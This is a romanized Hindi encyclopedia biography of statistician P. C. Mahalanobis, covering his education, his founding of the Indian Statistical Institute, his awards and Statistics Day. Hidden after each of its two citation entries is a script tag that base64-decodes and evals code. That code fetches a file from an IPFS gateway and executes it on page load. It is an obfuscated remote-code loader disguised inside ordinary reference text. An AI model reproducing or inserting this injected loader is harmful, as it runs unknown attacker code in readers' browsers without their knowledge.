पी. सी. महालनोबिस
pi. si. mahalanobis
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| poora nam | prashant chandr mahalanobis |
| janm | 29 joon, 1893 |
| janm bhoomi | kalakatta, bangal |
| mrityu | 28 joon, 1972 |
| mrityu sthan | kolakata, pashchim bangal |
| abhibhavak | shri prabodh chandr mahalanobis aur shrimati nirodabasini |
| karm bhoomi | bharat |
| karm-kshetr | ganit, saankhyiki |
| vidyalay | presideansi kalej, kolakata; kaianbrij yoonivarsiti, landan |
| puraskar-upadhi | padm vibhooshan |
| prasiddhi | mahalanobis ki prasiddhi "mahalanobis doori" ke karan hai jo unake dvara sujhaya gayi ek saankhyikiy map hai. |
| vishesh yogadan | ‘bharatiy saankhyiki sansthan’ ki sthapana |
| nagarikata | bharatiy |
| any janakari | bharat ke pahale pradhanamantri pandit javaharalal neharoo ke dauran inhoanne krishi v badh niyantran ke kshetr mean kee abhinav prayog kie. unake dvara sujhae ge badh niyantran ke upayoan par amal karate hue bharat sarakar ko is disha mean apratyashit saphalata mili. |
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prashant chandr mahalanobis (aangrezi: Prasanta Chandra Mahalanobis, janm: 29 joon, 1893; mrityu: 28 joon, 1972) prasiddh bharatiy vaijnanik evan saankhyikivid the. unhean doosari panchavarshiy yojana ke apane masaude ke karan jana jata hai. ve bharat ki azadi ke pashchath navagathit mantrimandal ke saankhyiki salahakar bane the. audyogik utpadan ki tivr badhotari ke jarie berozagari samapt karane ke sarakar ke pramukh uddeshy ko poora karane ke lie unhoanne yojanaean banaee.
jivan parichay
prashaant chandr mahalanobis ka janm kolakata ke 210 karnavalis strit sthit unake paitrik avas mean 29 joon, 1893 ko hua tha. unake pita ka nam prabodh chandr mahalanobis tha jo sadharan brahmo samaj ke sakriy sadasy the. unaki mata nirodabasini ka sanbandh bangal ke padhe-likhe kul se tha. mahalanobis ki praranbhik shiksha-diksha unake dada, guru charan mahalanobis dvara sthapit brahmo bvayaj skool mean huee. unhoanne maitrik ki pariksha isi skool se 1908 ee mean pas ki. presideansi kalej se bhauaitiki vishay mean anars karane ke bad uchch shiksha grahan karane ke lie ye landan chale ge. vahaan inhoanne kaianbrij yoonivarsiti se bhautiki aur ganit donoan vishayoan se digri hasil ki. ye ekamatr chhatr the, jisane bhautiki mean pahala sthan prapt kiya tha. usake bad ye kolakata laut ae.
saankhhyiki mean ruchi
kaianbrij chho dane se thik pahale prophesar prashaant chandr mahalanobis ne apane shikshak dablyoo ech maikale ke kahane par ‘bayometrika’ namak kitab padhi. is kitab ko padhane ke bad hi inaka rujhan saankhyiki ki or hone laga. bad mean achary brajendranath sil ke nirdeshan mean inhoanne saankhyiki par kam karana shuru kiya. prophesar mahalanobis ne is disha mean jo sabase pahala kam kiya, vah tha kalej ke pariksha parinamoan ka sakhyikiy madhyam se vishleshan. is kam mean unhean kafi saphalata mili. isake bad mahalanobis ki mulakat nelsan annadel se huee, jo us vakt ‘julojikal eand eanthropolojikal sarve aph iandiya’ ke nideshak the. unhoanne shri mahalanobis se sansthan dvara kolakata ke aianglo iandiyans ke bare mean ekatr kie ge aank doan ka vishleshan karane ko kaha. is vishleshan ka jo parinam aya vah bharat mean saankhyiki ka pahala shodh-patr kaha ja sakata hai.
ravindranath taigor ka sath
vaijnanik hone ke alava shri mahalanobis ki ruchi sahity mean bhi thi. unake guru ravindranath taigor ke sath kafi achchhe sanbandh the. bachapan mean ve apane dada, guru chandr mahalanobis ke sath gurudev ke pita devendranath taigor ke pas ate-jate the. prophesar mahalanobis ke sanbandh gurudev ke sath 1910 se jyada pragadh hone lage jab ve pahali bar shaanti-niketan pahuanche. yahaan mahalanobis ne taigor ke sath do mahine ka samay bitaya. is daramyan taigor ne unhean ashramika sangh ka sadasy bana diya. bad mean jab taigor ne ‘vishv bharati’ ki sthapana ki to prophesar mahalanobis ko sansthan ka sachiv niyukt kiya. itana hi nahian prophesar ne gurudev ke sath kee deshoan ki yatra bhi ki aur kee mahatvapoorn dastavej bhi likhe. is dauran prophesar mahalanobis ki khyati door-door tak phailane lagi. bharat ke pahale pradhanamantri pandit javaharalal neharoo ne unaki madad leni shuru kar di aur unhoanne krishi v badh niyantran ke kshetr mean kee abhinav prayog kie. unake dvara sujhae ge badh niyantran ke upayoan par amal karate hue sarakar ko is disha mean apratyashit saphalata mili.[1]
upalabdhi evan yogadan
in upalabdhiyoan ke alava prophesar prashant chandr mahalanobis ka sabase b da yogadan unake dvara shuru kiya gaya ‘saianpal sarve’ hai, jisake adhar par aj b di-b di nitiyaan aur yojanaean banaee ja rahi haian. unhoanne isaki shuruat ek nishchit bhoobhag par hone vali joot ki phasal ke aank doan se ki aur yah bataya ki kaise utpadan badhaya ja sakata hai. halaanki unake kam ke tariqe par shuruat mean savaliya nishan lagae ge par unhoanne bar-bar khud ko siddh kiya aur aantatah unake dvara kie ge karyoan ko aantarrashtriy star par bhi manyata mili. unhean aksaphord yoonivarsiti dvara 1944 mean ‘veladan medal’ puraskar diya gaya jabaki 1945 mean rayal sosayati ne unhean apana phelo niyukt kiya. prophesar mahalanobis chahate the ki saankhyiki ka upayog deshahit mean bhi ho. yahi vajah hai ki unhoanne panchavarshiy yojanaoan ke nirman mean aham bhoomika nibhaee.[1]
'bharatiy saankhyiki sansthan’ ki sthapana
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17 disanbar 1931 ka din bharat ke itihas mean kafi mahatvapoorn hai. is din prophesar prashant chandr mahalanobis ka sapana sakar hua aur kolakata mean ‘bharatiy saankhyiki sansthan’ ki sthapana huee. aj kolakata ke alava is sansthan ki shakhaean dilli, baiangalor, haidarabad, pune, koyanbatoor, chennee, giridih sahit desh ke das sthanoan mean haian. sansthan ka mukhyalay kolakata hai jahaan mukhy roop se saankhyiki ki padhaee hoti hai. san 1959 mean bharatiy saankhyiki sansthan ko ‘rashtriy mahatv ka sansthan’ ghoshit kiya gaya. prophesar mahalanobis ko 1957 mean aantarrashtriy saankhyiki sansthan ka sammanit adhyaksh banaya gaya.[1]
samman evan puraskar
- san 1944 mean prashant chandr mahalanobis ko ‘veladan medal’ puraskar diya gaya.
- san 1945 mean landan ki r aauyal sosayati ne unhean apana phelo niyukt kiya.
- san 1950 mean unhean ‘iandiyan saians kaangres’ ka adhyaksh chuna gaya.
- amerika ke ‘ekonometrik sosaiti’ ka phelo niyukt kiya gaya.
- san 1952 mean pakistan saankhyiki sansthan ka phelo banaya gaya.
- prashant chandr mahalanobis ko r aauyal staitistikal sosaiti ka manad phelo 1954 mean niyukt kiya gaya.
- san 1957 mean unhean devi prasad sarvadhikar svarn padak diya gaya.
- san 1959 mean unhean kiangs k aaulej ka manad phelo niyukt kiya gaya.
- 1957 mean aantarrashtriy saankhyiki sansthan ka aaunarari adhyaksh banaya gaya.
- prashant chandr mahalanobis ka janhmadin 29 joon, har varsh bharat mean ‘saankhyiki divas’ ke roop mean manaya jata hai.
- bharat sarakar ne 1968 mean prophesar prashant chandr mahalanobis ko desh ke doosare sarvochch samman ‘padm vibhooshan’ se sammanit kiya.
- 1968 mean unhean shrinivas ramanujam svarn padak diya gaya.
thumb|250px|pi. si. mahalanobis par googal ka doodal
googal doodal
29 joon, 2018 ko mashahoor saankhyikivid aur vaijnanik prashaant chandr mahalanobis ka 125vaan janmadin hai aur is avasar par googal ne unhean doodal banakar salam kiya hai. prashaant chandr mahalanobis ko saankhyiki mean ullekhaniy kam karane ke lie jana jata hai. is doodal ko nishaant chaukasi ne banaya hai. mahalanobis ne p aaupyuleshan stadij mean map ke lie istemal kie jane vale ‘mahalanobis disteans’ ka avishkar kiya tha. ve pahale yojana ayog ke sadasy the aur unhoanne 'bharatiy saankhyiki sansthan' (iandiyan staitistikal ianstityoot) sthapit karane mean mahatvapoorn bhoomika nibhaee thi. isake sath hi unhoanne 'naishanal saianpal sarve aauphis' (NSSO) aur 'seantral staitistikal aaurganaijeshan' (CSO) ka bhi gathan kiya tha.
125 rupaye ka sikka
thumb|250px|125 rupaye ka sikka bharat mean jald hi 1, 2, 5 aur 10 ke sikkoan ke alava ab 125 rupaye ke sikke ki bhi khanak suni ja sakegi. bharat sarakar 29 joon, 2018 ko 125 rupaye ka sikka jari karegi. sikke ko 29 joon ko hi isalie jari kiya ja raha hai, kyoanki varsh 2007 mean sarakar ne saankhyiki visheshajn prashaant chandr mahalanobis ki jayanti ko 'saankhhyiki divas' ke taur par manane ki ghoshana ki thi aur 29 joon, 2018 ko unaki 125vian jayanti hai. uparashtrapati em. veankaiya nayadoo prashaant chandr mahalanobis ke samman mean 125 rupaye ka smriti sikka aur 5 rupaye ka naya sikka jari kareange.
saankhyiki aur karyakram karyanvayan mantralay v bharatiy saankhhyiki sanshthan ne janakari dete hue kaha ki- "is sal (2018) ke saankhhyiki divas ka thim ‘Quality Assurance in Official Statistics‘ hai. bharatiy saankhhyiki sanshthan ki shthapana prashaant chandr mahalanobis ne 1931 mean ki thi. arthik yojana aur saankhhyiki vikas ke kshetr mean mahalanobis ke ulhlekhaniy yogadan ke samhman mean bharat sarakar unake janhmadin 29 joon ko har varsh ‘saankhyiki divas’ ke roop mean manati hai.[2]
nidhan
prophesar prashaant chandr mahalanobis ek dooradrashta bhi the. unhoanne duniya ko yah bataya ki kaise saankhyiki ka prayog am logoan ki bhalaee ke lie kiya ja sakata hai. bharat ke pahale pradhanamantri pandit javaharalal neharoo ke kafi najadik rahane ke bavajood unhoanne kabhi koee pad adhikarik taur par svikar nahian kiya. unhean vijnan mean byoorokresi pasand nahian thi. unhean apane sansthan se kafi lagav tha aur ve ise hamesha ek svatantr sanstha ke roop mean dekhana chahate the. shayad yahi vajah hai ki jab 1971 mean is sansthan se ju de adhikaansh logoan ne sarakar ke sath jane ka phaisala kiya to unhean aantarik takaliph pahuanchi. ve is sadame ko bardasht nahian kar sake aur 28 joon, 1972 ko unaki mrityu ho gee.[1]
saankhhyiki divas
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mahalanobis ki prasiddhi mahalanobis doori ke karan hai, jo unake dvara sujhaya gayi ek saankhyikiy map hai. unhoanne bharatiy saankhyikiy sansthan ki sthapana ki. arthik yojana aur saankhhyiki vikas ke kshetr mean prashaant chanhdr mahalanobis ke ulhlekhaniy yogadan ke samhman mean bharat sarakar unake janhmadin, 29 joon ko har varsh 'saankhyiki divas' ke roop mean manati hai. is din ko manane ka uddeshhy samajik-arthik niyojan aur niti nirdharan mean pro. mahalanobis ki bhoomika ke bare mean janata mean, visheshakar yuva pidhi mean jagarookata jagana tatha unhhean prerit karana hai.
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tika tippani aur sandarbh
- ↑ 1.0 1.1 1.2 1.3 ranjan, alok. bharatiy saankhyiki ke janak, ‘pro mahalanobis’ (hindi) 24 jet news. abhigaman tithi: 23 disambar, 2014.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ pi si mahalanobis ki 125vian jayanti, sarakar jari karegi 125 rupaye ka sikhka (hindi) punjabkesari.com. abhigaman tithi: 29 joon, 2018.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
bahari k diyaan
- arthik vikas mean saankhyiki ki bhoomika
- mahalanobis ki den: giridih mahila kalej
- http://www.itshindi.com/p-c-mahalanobis.html pi. si. mahalanobis]
- pi.si. mahalanobis par nibandh
- pi.si. mahalanobis ko 125vean janmadin par kiya yad
sanbandhit lekh
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